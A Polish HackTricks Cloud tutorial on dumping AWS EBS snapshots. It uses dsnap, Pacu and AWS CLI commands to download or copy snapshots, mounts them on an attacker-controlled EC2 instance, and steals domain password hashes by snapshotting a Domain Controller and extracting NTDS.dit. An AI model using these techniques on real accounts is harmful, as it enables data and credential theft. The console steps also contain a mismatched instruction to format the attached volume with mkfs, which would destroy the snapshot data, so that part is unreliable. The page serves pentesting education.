AWS - EBS Snapshot Dump
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Sprawdzanie migawki lokalnie
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Uwaga że
dsnapnie pozwoli ci na pobranie publicznych migawków. Aby to obejść, możesz skopiować migawkę do swojego osobistego konta i pobrać ją:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalne badania w https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Możesz to zrobić za pomocą Pacu, używając modułu ebs__download_snapshots
Sprawdzanie migawki w AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Zamontuj go w VM EC2 pod swoją kontrolą (musi być w tym samym regionie co kopia zapasowa):
Krok 1: Należy utworzyć nową woluminę o preferowanym rozmiarze i typie, przechodząc do EC2 –> Woluminy.
Aby móc wykonać tę akcję, wykonaj następujące polecenia:
- Utwórz wolumin EBS do podłączenia do instancji EC2.
- Upewnij się, że wolumin EBS i instancja są w tej samej strefie.
Krok 2: Należy wybrać opcję “dołącz wolumin” klikając prawym przyciskiem myszy na utworzonej woluminie.
Krok 3: Należy wybrać instancję z pola tekstowego instancji.
Aby móc wykonać tę akcję, użyj następującego polecenia:
- Dołącz wolumin EBS.
Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski, używając polecenia lsblk.
Krok 5: Sprawdź, czy wolumin ma jakieś dane, używając polecenia sudo file -s /dev/xvdf.
Jeśli wynik powyższego polecenia pokazuje “/dev/xvdf: data”, oznacza to, że wolumin jest pusty.
Krok 6: Sformatuj wolumin do systemu plików ext4, używając polecenia sudo mkfs -t ext4 /dev/xvdf. Alternatywnie, możesz również użyć formatu xfs, używając polecenia sudo mkfs -t xfs /dev/xvdf. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs.
Krok 7: Utwórz katalog według własnego wyboru, aby zamontować nowy wolumin ext4. Na przykład, możesz użyć nazwy “newvolume”.
Aby móc wykonać tę akcję, użyj polecenia sudo mkdir /newvolume.
Krok 8: Zamontuj wolumin w katalogu “newvolume”, używając polecenia sudo mount /dev/xvdf /newvolume/.
Krok 9: Zmień katalog na katalog “newvolume” i sprawdź przestrzeń dyskową, aby zweryfikować montaż woluminu.
Aby móc wykonać tę akcję, użyj następujących poleceń:
- Zmień katalog na
/newvolume. - Sprawdź przestrzeń dyskową, używając polecenia
df -h .. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu “newvolume”.
Możesz to zrobić z Pacu, używając modułu ebs__explore_snapshots.
Sprawdzanie migawki w AWS (używając cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Każdy użytkownik AWS posiadający uprawnienie EC2:CreateSnapshot może ukraść hashe wszystkich użytkowników domeny, tworząc snapshot Kontrolera Domeny, montując go do instancji, którą kontroluje, i eksportując plik NTDS.dit oraz SYSTEM rejestru do użycia z projektem secretsdump Impacket.
Możesz użyć tego narzędzia do zautomatyzowania ataku: https://github.com/Static-Flow/CloudCopy lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
References
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

